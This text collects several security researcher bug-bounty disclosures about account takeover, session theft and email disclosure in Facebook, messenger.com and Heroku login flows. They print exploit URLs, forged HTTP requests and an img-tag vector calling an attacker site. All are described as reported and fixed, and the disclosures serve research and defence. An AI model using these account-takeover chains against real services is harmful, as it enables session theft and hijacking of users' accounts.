Stephen Sclafani

The messenger.com website provides a nonce based login flow to allow a user who is already logged into their Facebook account to login to the site without having to re-enter their password. It was possible to create a URL that when loaded by a user who was logged into their Facebook account would redirect a nonce for their account to another site. The nonce could then be used to create a messenger.com session for the user. Since messenger.com session cookies are interchangeable with facebook.com this gave full access to the user’s Facebook account.

Overview of the Messenger.com Login Flow

When a user visits messenger.com the Facebook endpoint https://www.facebook.com/login/messenger_dot_com_iframe/ is loaded in an iframe:

[plain]https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Fwww.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY[/plain]

The identifier and initial_request_id parameters are generated by messenger.com and are tied to the user’s datr cookie.

If the user is logged into a Facebook account the endpoint redirects to https://www.messenger.com/login/fb_iframe_target/ with a secret nonce:

[plain]https://www.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=hFTzdP2Q&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY[/plain]

The user is then prompted if they want to continue as this Facebook user.

If they choose to continue a POST request is made to the https://www.messenger.com/login/nonce/ endpoint with the nonce:

POST /login/nonce/ HTTP/1.1
Host: www.messenger.com
Connection: close
Content-Length: 109
Cache-Control: max-age=0
Origin: https://www.messenger.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://www.messenger.com/
Accept-Language: en-US,en;q=0.8
Cookie: datr=3GSyWAIGB6DhdUIQebUwj9Jg

userid=100011424732901&nonce=hFTzdP2Q&persistent=true&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY&lsd=AVr7DyPv

The same datr cookie that was used to generate the identifier and initial_request_id parameters is required in this POST request. The endpoint uses the nonce to create a session and sets cookies on .messenger.com:

HTTP/1.1 302 Found
Location: https://www.messenger.com/
...
Set-Cookie: sb=3dpaV2P6giuULzTDhNABjeti; expires=Tue, 26-Feb-2019 06:43:29 GMT; Max-Age=63071999; path=/; domain=.messenger.com; secure; httponly
Set-Cookie: c_user=100011424732901; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com; secure
Set-Cookie: xs=22%3AeAAc-sXWUZCaFw%3A2%3A1488091409%3A-1; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com; secure; httponly
Set-Cookie: csm=2; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com
Set-Cookie: lu=gQQAh17N-bnCQJL3wuArjLLQ; expires=Tue, 26-Feb-2019 06:43:29 GMT; Max-Age=63071999; path=/; domain=.messenger.com; secure; httponly
...

Stealing Nonces

When looking for flaws in a nonce based login flow where the redirect URL is controlled by a parameter the first thing I like to test is how strict it is on modifications to the redirect URL. In the case of the Messenger website the Facebook endpoint https://www.facebook.com/login/messenger_dot_com_iframe/ contained a redirect_uri parameter which controlled where the nonce was redirected to. The endpoint did not allow the path of the redirect URL (/login/fb_iframe_target/) to be changed or query string parameters to be added; however, a # could be appended to the path. Additionally, any messenger.com subdomain could be used.

When a nonce is delivered via a query string parameter in the redirect URL (https://example.com/login/?secrect=nonce) rather than as a hash fragment (https://example.com/login/#secrect=nonce), it’s not required to actually redirect the nonce offsite in order to steal it. If you can get a URL containing the nonce set as the referrer before redirecting you can extract it from the request.

The Messenger website supported #!/path javascript redirects. When a #!/path was appended to a Messenger URL javascript on the page would redirect to that path after the page was loaded. Since the https://www.facebook.com/login/messenger_dot_com_iframe/ endpoint allowed a hash to be appended to the redirect URL it was possible to append a #!/path which would be redirected to after https://www.messenger.com/login/fb_iframe_target/ was loaded.

In order to steal a nonce a way to redirect offsite was needed. I knew that the Messenger website used the /l.php endpoint for redirecting to links. Normally this endpoint uses javascript to remove the referrer before redirecting; however, when redirecting to www.facebook.com links just a 302 redirect is used.

Through some Google searches I was able to find the Facebook endpoint https://www.facebook.com/dialog/share_open_graph. Given a Facebook app ID and the redirect URL set for the app, the endpoint would automatically redirect to the URL. By creating a Facebook app and setting a redirect URL it was possible to use the endpoint to redirect to any URL.

Combining these issues resulted in the URL:

[plain]https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Fwww.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY[/plain]

Unfortunately this didn’t work how I expected. The referrer my PoC was receiving was https://www.messenger.com/l.php. This was because every www.messenger.com page includes the meta tag:

<meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" />

This meta tag prevents the referrer from leaking data such as the nonce by setting the referrer to the origin (https://www.messenger.com) in cross-origin requests. This would have been a game-over if not for the https://www.facebook.com/login/messenger_dot_com_iframe/ endpoint allowing any messenger.com subdomain to be used in the redirect URL. Through a search on crt.sh I was able to find the subdomain fb.beta.messenger.com. This subdomain also included the meta referrer tag in its pages; however, it did not use the origin-when-crossorigin policy.

With this subdomain the final PoC URL looked like this:

[plain]https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY[/plain]

When loaded by a user who was logged into their Facebook account:

1. The https://www.facebook.com/login/messenger_dot_com_iframe/ endpoint redirected to https://fb.beta.messenger.com/login/fb_iframe_target/ with a nonce for the user’s account:

[plain]https://fb.beta.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=tBTyFt4m&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php[/plain]

Because the fb.beta.messenger.com subdomain did not use the origin-when-crossorigin referrer policy in its pages this URL got set as the referrer for the next requests.

2. The #!/l.php appended to the redirect URL caused javascript on the page to redirect the user’s browser to the https://fb.beta.messenger.com/l.php endpoint:

[plain]https://fb.beta.messenger.com/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php[/plain]

Because the link is to a www.facebook.com URL a 302 redirect was used to redirect the user to https://www.facebook.com/dialog/share_open_graph?app_id=758283087524346&redirect_uri=https://stephensclafani.com/poc.php, preserving the referrer containing the nonce.

3. The https://www.facebook.com/dialog/share_open_graph endpoint automatically redirected the user to the URL in the redirect_uri parameter:

[plain]https://stephensclafani.com/poc.php[/plain]

4. The PoC script I created extracted the nonce from the referrer and used it in a POST request to the https://www.messenger.com/login/nonce/ endpoint to create a messenger.com session and displayed the cookies:

Array
(
    [sb] => wP-xHWyEaAT1JN33JoTCWmOn
    [c_user] => 100011424732901
    [xs] => 22:J2NF2Ovl7qzACT:2:1488094195:-1
    [csm] => 2
    [lu] => gXtqnpAk_31Gy18Nf3BjanRw
)

The cookies could be used to access the user’s account on facebook.com as well as on messenger.com:

GET / HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Cookie: sb=wP-xHWyEaAT1JN33JoTCWmOn; c_user=100011424732901; xs=22:J2NF2Ovl7qzACT:2:1488094195:-1; csm=2; lu=gXtqnpAk_31Gy18Nf3BjanRw
Connection: close

GET / HTTP/1.1
Host: www.messenger.com
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Cookie: sb=wP-xHWyEaAT1JN33JoTCWmOn; c_user=100011424732901; xs=22:J2NF2Ovl7qzACT:2:1488094195:-1; csm=2; lu=gXtqnpAk_31Gy18Nf3BjanRw
Connection: close

Note: The identifier and initial_request_id parameters included in the PoC URL were generated from a datr cookie that was also used by the PoC script in the POST request to https://www.messenger.com/login/nonce/ to create the messenger.com session with the stolen nonce. The parameters didn’t expire and could be reused to create sessions from multiple nonces.

Note: This attack worked even if a user was already logged into messenger.com.

The Fix

Facebook’s initial fix was to block the ability to add a hash to the redirect URL; however, this fix could be bypassed with the following URL:

[plain]https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php[/plain]

In this URL the #!/l.php is appended to the https://www.facebook.com/login/messenger_dot_com_iframe/ endpoint URL. This worked because modern browsers preserve an appended hash through a 302 redirect, even across sites. A hash appended to https://www.facebook.com/login/messenger_dot_com_iframe/ gets appended to https://fb.beta.messenger.com/login/fb_iframe_target/ after the redirect.

To prevent this a site can append its own hash to its redirects:

This hash will replace any hash that’s been appended to the parent URL.

Timeline

I reported this issue to Facebook on Sunday, February 26. When the issue was confirmed by Facebook on Monday morning an initial fix was put in place in less than two hours. Facebook awarded me with a bounty of $15,000 as part of their Bug Bounty Program.

This is part two of my research on Facebook’s legacy REST API. If you’re not familiar with the REST API an overview is contained in part one.

Summary

To make REST API calls for a user a Facebook application must first obtain a session key for the user. The REST API provided two login flows for applications to obtain a session key, one for Web applications (websites) and one for Desktop applications (JavaScript, mobile, and desktop applications).

Both flows contained vulnerabilities that allowed an attacker to steal user sessions. Once a user’s session had been stolen it was possible for the attacker to elevate their access from the limited REST API to the Graph API to being able to reset the user’s password and take full control of their account.

The Web Login Flow

To obtain a session key for a user a Web application would direct the user to the Facebook login URL with its API key:

https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0

If the user had not already authorized the application they would be prompted to do so. Once the user had authorized the application they would be redirected to the callback URL that had been set for the application along with an auth token:

CALLBACK_URL?auth_token={AUTH_TOKEN}

The application could then exchange the auth token for a session key for the user by calling the method auth.getSession.

Unlike with the Graph API’s login flow, the callback URL could not be overridden via the login URL. At first glance this made the flow unexploitable, however, for many of Facebook’s own internal applications no callback URL was set. When their API keys were used in the login URL it would redirect the auth token to the Facebook domain:

https://www.facebook.com/?auth_token={AUTH_TOKEN}

While it was not possible to override the callback URL, an optional next parameter could be passed a relative path which would get appended to it:

https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0&next=/some/path

CALLBACK_URL/some/path?auth_token={AUTH_TOKEN}

When used with an internal application that had no callback URL set the path would get appended to the Facebook domain:

https://www.facebook.com/some/path?auth_token={AUTH_TOKEN}

To steal a user’s auth token an attacker needed to redirect it to their own website. When a Facebook application is loaded from the Facebook mobile website it automatically redirects to its set website URL without any security prompt. It was possible for an attacker to exploit this to steal auth tokens:

https://m.facebook.com/login.php?api_key=882a8490361da98702bf97a021ddc14d&v=1.0&next=/apps/attackersapp

When loaded by a user who was logged in to their Facebook account, this URL would redirect the user’s auth token to the attacker’s application which is passed as a relative path in the next parameter. When used with an internal application the login URL would redirect to the Facebook subdomain that it was requested from (in this case m.facebook.com) rather than always redirecting to www.facebook.com:

https://m.facebook.com/apps/attackersapp?auth_token={AUTH_TOKEN}

The attacker’s application would then redirect to its website. It’s a feature of Facebook to include any query parameters in this redirect. This included the auth token (even if Facebook did not include query parameters in the redirect the token would still have been included in the referer):

https://attackerswebsite/?ref=unknown&auth_token={AUTH_TOKEN}#_=_

Once an attacker had stolen a user’s auth token they could call auth.getSession themselves to get a session key for the user. In the above example the Facebook for Android application’s API key (882a8490361da98702bf97a021ddc14d) is used in the login URL. This is an internal application used by Facebook’s Android app. Like many of Facebook’s internal applications, the Facebook for Android application has been authorized and granted full permissions for every user. This was important because a user must have already authorized the application being used before their auth token could be stolen. There were other important reasons for using the Facebook for Android application which I discuss later in this post.

The Desktop Login Flow

In the Web login flow an auth token was generated by the login URL and passed to the application via a callback URL. This was not possible for Desktop applications. In place of a callback a Desktop application would generate an auth token by calling the method auth.createToken. A user would then be directed to the login URL in their browser with the token:

https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0&auth_token={AUTH_TOKEN}

Like with the Web login flow, if the user had not already authorized the application they would be prompted to do so. Once the application had been authorized the auth token would be bound to the user’s account. The user would then be prompted to return to the application:

The application could then exchange the auth token (which it already had) for a session key for the user by calling auth.getSession.

There were two problems with this flow: The auth token returned by auth.createToken was just a random 32 character hexadecimal string, an attacker could generate their own token without calling the method. If a user had already authorized the application the auth token would be bound to their account automatically.

An attacker could get a user to load the login URL with the API key of an internal Facebook application that had been authorized for every user and an auth token that they had generated. The token would be bound to the user’s account. Since the attacker had generated the auth token they could then get a session key for the user by calling auth.getSession themselves. Because the call to auth.getSession did not have to be made from the user’s browser, the login URL could be loaded from anywhere where images can be embedded (a webpage, an email, a blog, a message board thread, in comments, etc.):

<img src="http://attackerswebsite/exploit">

When a user’s browser attempted to render this image it would load the attacker’s URL. Upon loading, the URL would generate an auth token and pass it to an asynchronous task. It would then redirect to the Facebook login URL with the token. When loading an img tag’s URL browsers will automatically follow a certain number of redirects. When the user’s browser followed the redirect to the login URL it would include the user’s Facebook cookies in the request. If the user was logged in to Facebook the auth token would be bound to their account. This worked because the login URL only had to be loaded for the auth token to be bound to a user’s account, it did not have to be rendered. Back on the attacker’s server, the task would wait long enough for the login URL to have been loaded by the user’s browser and would then attempt to get a session key for the user by making calls to auth.getSession with the auth token that it was passed. Once a session key had been obtained the task would log it. The end result was that any user who loaded a page that contained an img tag with the attacker’s URL while logged in to their Facebook account would have their session stolen.

From Auth Token to Account Takeover

Once an attacker had stolen a user’s auth token it needed to call auth.getSession to exchange it for a session key for the user. According to the REST API documentation this should have been impossible as the call to auth.getSession must be signed with an application’s secret, which the attacker didn’t have. Web applications can safely embed their application secret in their code but Desktop applications cannot (because client-side code is easily reverse engineered). The REST API’s solution to this problem was to require Desktop applications to have a server-side component which would make the call to auth.getSession and return the session key to the application. With the introduction of the Graph API Facebook introduced Client Tokens which replaced the need for the server-side component:

The client token is an identifier that you can embed into native mobile binaries or desktop apps to identify your app. The client token isn’t meant to be a secret identifier because it’s embedded in applications. The client token is used to access app-level APIs, but only a very limited subset. The client token is found in your app’s dashboard. Since the client token is used rarely, we won’t talk about it in this document. Instead it’s covered in any API documentation that uses the client token.

One of those app-level APIs is the auth.getSession method. A client token for the Facebook for Android application is embedded in the Facebook Android app’s APK. An attacker could decompile the APK and extract the token. The attacker could then use the token to sign calls to auth.getSession:

POST /restserver.php HTTP/1.1
Host: api.facebook.com

method=auth.getsession&api_key=882a8490361da98702bf97a021ddc14d&auth_token={AUTH_TOKEN}&sig={SIGNATURE}

The call returns a session key, a session secret, the user’s ID, and an expiration time:

{"session_key":"decd1047aec5f853c40bf37c.0-100008390328443","secret":"7668586c1a035b41b1795c2a9b42aba2","uid":100008390328443,"expires":0}

Sessions for the Facebook for Android application have an expiration of 0 which means that they never expire (even if a user logs out). A session is only invalidated if the user changes their password. Sessions are also granted full permissions. Using their session key an attacker could call any of the REST API methods on behalf of the user. Being a deprecated API, the REST API is limited in its access as compared to the current Graph API. As part of the migration from the REST API to the Graph API Facebook provided an endpoint for application developers to convert their session keys into Graph API access tokens. This endpoint, however, requires having the actual application secret, not just a client token.

Facebook’s mobile apps use a number of private REST API methods for authentication and user functionality. These methods could be called by an attacker using a user’s stolen session key. One of these methods is auth.getSessionForApp. This method is used by the mobile apps to get new session information for a user from a cached access token. While the mobile apps call this method with an access token, it could also be called with a session key:

POST /restserver.php HTTP/1.1
Host: api.facebook.com

method=auth.getsessionforapp&api_key=882a8490361da98702bf97a021ddc14d&new_app_id=350685531728&session_key={SESSION_KEY}&sig={SIGNATURE}

The call returns an access token and session cookies for the user:

{"session_key":"5.RRGb10fHwMwKAQ.1405482281.145-100008390328443","uid":100008390328443,"secret":"f08161791f178b88dbd756f0b181c529","access_token":"CAAAAUaZA6jlABAOcpfpc32f2ghkGC4sA2ZBOiLnBCrWCXAaBv9BiWoVsZC50ON4CtZBaqpA0ZAvDoZBWq4WeZCVkbPEzS4PZc5GGtu5ne4y4t0uMGM2ZAIlalwiZAxk2yLMakA50ejphd7trGZBIAIHgkL45pqZCcZBcSD3oVI9QB2iaC8us2gfdEG34rDwfzMLjIjIzZD","session_cookies":[{"name":"c_user","value":"100008390328443","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/","secure":true},{"name":"fr","value":"0pvpMEx9iOGi0j3WG.AVWCUvS7pUYSzaLCYgvE0WmMA29.BTvGmH.rW.AAA.AVWBQAlf","expires":"Wed, 27 Aug 2014 17:54:32 GMT","expires_timestamp":1409162072,"domain":".facebook.com","path":"\/"},{"name":"xs","value":"145:RRGb10fHwMwKAQ:2:1405482281:18064","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/","secure":true},{"name":"csm","value":"2","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/"},{"name":"datr","value":"WI7MU20avMWObNAhbmT0AYjX","expires":"Wed, 27 Jul 2016 17:54:32 GMT","expires_timestamp":1469642072,"domain":".facebook.com","path":"\/"}]}

The access token is granted full Graph API permissions. An attacker could use the access token to call any of the Graph API’s endpoints. The session cookies could be used by the attacker to login to the user’s account directly.

Even with the ability for an attacker to login to a user’s account, there are still some features that require knowing the user’s password. Facebook’s Android app allows a user to add a new phone number to their account. It does this by calling the method user.confirmPhone. This method does not require the user’s current password. An attacker could call this method to add their own number to a user’s account:

POST /restserver.php HTTP/1.1
Host: api.facebook.com

method=user.confirmphone&api_key=882a8490361da98702bf97a021ddc14d&code={CODE}&session_key={SESSION_KEY}&sig={SIGNATURE}

The method is passed the phone confirmation code that is returned from texting F to 32665 (in the US). Once a phone had been added to a user’s account, the attacker could initiate a password reset request for the user and use the “Text me a code to reset my password” option to have a code sent to newly added number:

Disclosure

I reported the vulnerability in the Desktop login flow to Facebook on May 3rd and the vulnerability in the Web login flow on May 9th. A temporary fix for Desktop login flow was put in place by Facebook on May 4th. Both issues were fixed permanently on May 21st. The issues took longer to fix than the API endpoint issue that I documented in part one as the flows were still being used by many older Facebook applications and could not simply be disabled. For the two issues a combined bounty of $20,000 (2x $10,000) was awarded by Facebook as part of its Bug Bounty Program.

Timeline

Summary

A misconfigured endpoint allowed legacy REST API calls to be made on behalf of any Facebook user using only their user ID, which could be obtained from their profile or through the Graph API. Through REST API calls it was possible to view a user’s private messages, view their private notes and drafts, view their primary email address, update their status, post links to their timeline, post as them to their friends’ or public timelines, comment as them, delete their comments, publish a note as them, edit or delete any of their notes, create a photo album for them, upload a photo for them, tag them in a photo, and like and unlike content for them. All of this could be done without any interaction on the part of the user.

An Interesting Request

When starting a pentest I like to browse the target site with Burp open to get a feel for how the site is structured and to see the requests that the site is making. While browsing Facebook’s mobile site touch.facebook.com the following request caught my attention:

The request was used to get your bookmarks. The request was interesting for three reasons: it was making an API call rather than a request to a dedicated endpoint for bookmarks; it was being made to a nonstandard API endpoint (i.e. not graph.facebook.com); the call was not Graph API or FQL. Doing a Google search for bookmarks.get turned up nothing. After some guessing I found that the method notes.get could also be called which returned your notes. Through some more searching I found that the endpoint was using Facebook’s deprecated REST API.

The Facebook REST API

The REST API was the predecessor of Facebook’s current Graph API. All of the documentation for the REST API has been removed from Facebook’s website but I was able to piece together some of it from the Wayback Machine. The REST API consists of methods that can be called by both Web applications (websites) and Desktop applications (JavaScript, mobile, and desktop applications). To make a call an application makes a GET or POST request to the REST API endpoint:

POST https://api.facebook.com/restserver.php

method={METHOD}&api_key={API_KEY}&session_key={SESSION_KEY}&...&sig={SIGNATURE}

The request consists of the method being called, the application’s API key, a session key for a user, any parameters specific to the method, and a signature. The signature is a MD5 of all of the parameters and either the application’s secret, which is generated along with the API key when the application is registered with Facebook, or a session secret which is returned with a session key for a user. Web applications sign requests with their application secret. Requests signed with the application secret can make calls on behalf of users and to administrative methods. Desktop applications sign requests with a user’s session secret. Requests signed with a session secret are limited to making calls only for that user. This allows Desktop applications to make calls without exposing their application secret (which would have to be embedded in the application). An application obtains a session key for a user through an OAuth like authentication flow.

Making Calls on Behalf of Any User

From reading the documentation I knew that the actual REST API endpoint was https://api.facebook.com/restserver.php which meant that the https://touch.facebook.com/api/ endpoint had to be acting as a proxy. This raised the question: What Facebook application was it proxying requests as and what permissions did the application have?

So far I had only called read methods. I attempted to call the publishing method users.setStatus:

Calling this method updated the status on the account that I was logged in to. The update was displayed as being made via the Facebook Mobile application:

This is an internal application used by the Facebook mobile website. Many internal Facebook applications are authorized and granted full permissions for every user. I was able to confirm that this was the case for the Facebook Mobile application by calling the methods friends.getAppUsers and fql.query. Calling friends.getAppUsers showed that the application was authorized for every friend on the account that I was logged in to. Calling fql.query allowed me to make a FQL query on the permissions table to lookup the permissions that the application had been granted.

That I was being authenticated with the REST server as the account that I was logged in to meant that the proxy had to be generating a session key from my session and passing it with each request. This should have limited my ability to make calls only for that account, however, I noticed that in the documentation for many of the methods a session key is optional if the method is being called by a Web application (i.e. the request is being signed with the application’s secret). For these methods a uid parameter can be passed in place of a session key and set to the user ID of any user who has authorized the application and granted it the required permission for the method being called.

Through calling users.setStatus I had been able to find out what Facebook application the proxy was using, but more importantly I had been able to confirm that the proxy would pass any parameters to the REST server that I included in a request. The question now was: Was the proxy signing requests with the Facebook Mobile application secret or my session secret? And if the proxy was using the application secret, would the REST server accept the uid parameter? Including the uid parameter in a request would not stop the proxy from also passing a session key and there was the possibility that the REST server would reject the request if both were passed.

To test it I tried updating the status on a different account than the one I was logged in to by calling users.setStatus with the uid parameter set to user ID of that account. It worked. The status on the account whose user ID I passed was updated. Not only was the proxy signing requests with the application secret, but equally as important, when passed both a session key and the uid parameter the REST server would prioritize the uid.

The documentation for the REST API states that the use of the uid parameter is limited to only those users who have authorized the application and granted it the required permission for the method being called. Since the Facebook Mobile application had been authorized and granted full permissions for every user, it was possible to use the uid parameter to make calls on behalf of any user using any of methods that supported it.

The following methods can be called with the uid parameter:

Disclosure

I reported this issue to Facebook on April 23rd. A temporary fix was in place less than three hours after my report. A bounty of $20,000 was awarded by Facebook as part of their Bug Bounty Program.

Timeline

April 23,  4:42pm – Initial report sent
April 23,  5:50pm – Request for clarification from Facebook
April 23,  6:08pm – Clarification sent
April 23,  6:49pm – Acknowledgment of issue by Facebook
April 23,  7:38pm – Notification of temporary fix by Facebook
April 23,  8:39pm – Confirmation of temporary fix sent
April 29, 11:03pm – Notification of permanent fix by Facebook
April 30, 12:58am – Confirmation of permanent fix sent
April 30,  8:35pm – Bounty awarded

Update: Part 2 has been posted.

Given only their ID, it was possible to obtain the primary email address of any Facebook user regardless of their privacy settings.

Anyone who has subscribed to a public mailing list knows the problem of members inviting their entire contacts list, including the mailing list, to every new social site and app. This has turned mailing list archives into a Wayback Machine for email notifications. Searching through some old mailing lists I came across a Facebook invitation reminder circa 2010:

Clicking on the link in the email, a sign up page filled in with the list’s address and the name of a person who used the link to sign up for an account was displayed:

The link contained two parameters: “re” and “mid”:

http://www.facebook.com/r.php?re=245bf2da75118af20d917bdd34babddb&mid=59b63aG5af3107aba69G0G46

Changing the re parameter did nothing; however, changing parts of the mid parameter resulted in other addresses being displayed. Taking a closer at the parameter, its value was actually a string of values with “G” acting as a delimiter:

59b63a G 5af3107aba69 G 0 G 46

Only the second value was important. The value was an ID associated with the address that the invitation was sent to in hex. A Facebook user’s numerical ID could be put as this value and their primary email address would be displayed. A user’s numerical ID is considered public information and can be obtained from the source of their profile or through the Graph API.

Disclosure

This issue was reported to Facebook on March 22nd and was fixed within 24 hours. A bounty of $3,500 was rewarded as part of their Bug Bounty program.

Recently, while contemplating hosting options for my startup, I decided to take a look at Heroku. Upon signing up, I noticed that Heroku used a two-step sign up process. Multi-step sign up processes are notorious for containing security vulnerabilities, and after taking a closer look at Heroku’s I found that it was possible, given only their user ID, to obtain any user’s email address and to change their password.

Sign Up Vulnerability

In the first step of Heroku’s sign up process a user enters their email address:

Upon submitting the form, the user is sent a confirmation email containing a link to activate their account. The activation link consists of the user’s ID and a token:

https://api.heroku.com/signup/accept2/1234567/ec2682960544872b5f7c0bcc12531a3a

Upon loading the activation link, the user is prompted to set a password for their account. The email address that the user entered in the first step is displayed:

When the form is submitted a POST is made containing the user’s ID and the token from the activation link:

POST https://api.heroku.com/invitation2/save

id=1234567&token=ec2682960544872b5f7c0bcc12531a3a&user[password]=123456&user[password_confirmation]=123456&user[receive_newsletter]=0&user[receive_newsletter]=1&commit=Save

If the POST was made with the token parameter removed and the password fields left blank, the resulting error page would display the email address of any user whose ID was put as the value of the “id” parameter:

POST https://api.heroku.com/invitation2/save

id=any_users_id&user[password]=&user[password_confirmation]=&user[receive_newsletter]=0&user[receive_newsletter]=1&commit=Save

If the POST was made with the token parameter removed and the password fields filled in, the user’s password would be changed:

POST https://api.heroku.com/invitation2/save

id=any_users_id&user[password]=123456&user[password_confirmation]=123456&user[receive_newsletter]=0&user[receive_newsletter]=1&commit=Save

Reset Password Vulnerability

A second vulnerability was found in Heroku’s reset password functionality. By modifying the POST request it was possible to reset the password of a random (nondeterministic) user each time that the vulnerability was used.

If a user has forgotten their Heroku password they can use the Reset Password form to reset it:

Upon submitting the form, the user is sent an email containing a link with which they can reset their password. The link consists of an ID:

https://api.heroku.com/auth/finish_reset_password/5ffe213db0fc1543a1335L70eb4273cfe

Upon loading the link, the user is prompted to set a new password for their account:

When the form is submitted a POST is made containing the ID in both the URL and body of the request:

POST https://api.heroku.com/auth/finish_reset_password/5ffe213db0fc1543a1335L70eb4273cfe

id=5ffe213db0fc1543a1335L70eb4273cfe&user_to_reset[password]=123456&user_to_reset[password_confirmation]=123456&commit=Save

If the POST was made with ID removed from both the URL and body, the password of a random account would be reset and the account automatically logged in to:

POST https://api.heroku.com/auth/finish_reset_password/

user_to_reset[password]=123456&user_to_reset[password_confirmation]=123456&commit=Save

Disclosure

I reported these issues to Heroku on December 19. Initial fixes were in place within 24 hours. Heroku asked me to hold off on publishing a public disclosure so that they could do a review of their code which I agreed to.

Update: Heroku’s official response.

Despite finding these vulnerabilities I plan to host my startup at Heroku. Security vulnerabilities happen and Heroku handled the reports well.

Note: All of Heroku’s forms are protected against CSRF with an “authenticity_token” parameter. I removed the parameter from the above examples for clarity.

OAuth 2.0 is the next generation of the OAuth protocol. OAuth 2.0 has been designed to make implementation simpler for both service providers and clients. Unfortunately, this simplification has led to the implementations of the majority of client websites to be vulnerable to cross-site request forgery.

Facebook

Facebook is currently the largest service provider using OAuth 2.0. Facebook offers OAuth 2.0 as an authentication option for its API. When a client website that has implemented the Facebook API authenticates a user using OAuth 2.0 the website redirects the user to an authorization URL on Facebook:

https://graph.facebook.com/oauth/authorize?client_id=...&redirect_uri=http://www.example.com/oauth_callback

The user is prompted by Facebook to login and authorize the website. If authorization is granted the user is redirected to the callback URL in the redirect_uri parameter along with a code:

http://www.example.com/oauth_redirect_script?code=...

The website can then exchange the code for an OAuth access token and use the token to make API requests on behalf of the user.

Unlike with OAuth 1.x where a request token is passed through the entire flow, there is nothing that ties the request to authorize with the returned code. An attacker can generate a code for their own Facebook account for a target website and can then get a victim to load the code in the website’s callback URL. If the victim is logged in, the website will automatically use the code to link the victim’s account to the attacker’s Facebook account. If the website has implemented Facebook as a secondary login option the attacker can then login to the victims account using Facebook.

I tested this attack against The New York Times, Photobucket, TripAdvisor, StackOverflow, Digg and Formspring all of which were vulnerable.

Mitigation

The OAuth 2.0 spec defines an optional “state” parameter which clients can use to maintain state between the authorization request and the callback. Clients can use this parameter to protect themselves against this attack by passing a unique-to-user nonce as the value of the parameter when redirecting a user:

https://graph.facebook.com/oauth/authorize?client_id=...&redirect_uri=http://www.example.com/oauth_redirect&state=...

The nonce is included with the code in callback if authorization is granted:

http://www.example.com/oauth_redirect?code=...&state=...

A client can then check if the nonce is valid and that it belongs to the logged in user before taking action.

Disclosure

Facebook was notified of this issue in January. Since being notified they have taken the following actions:

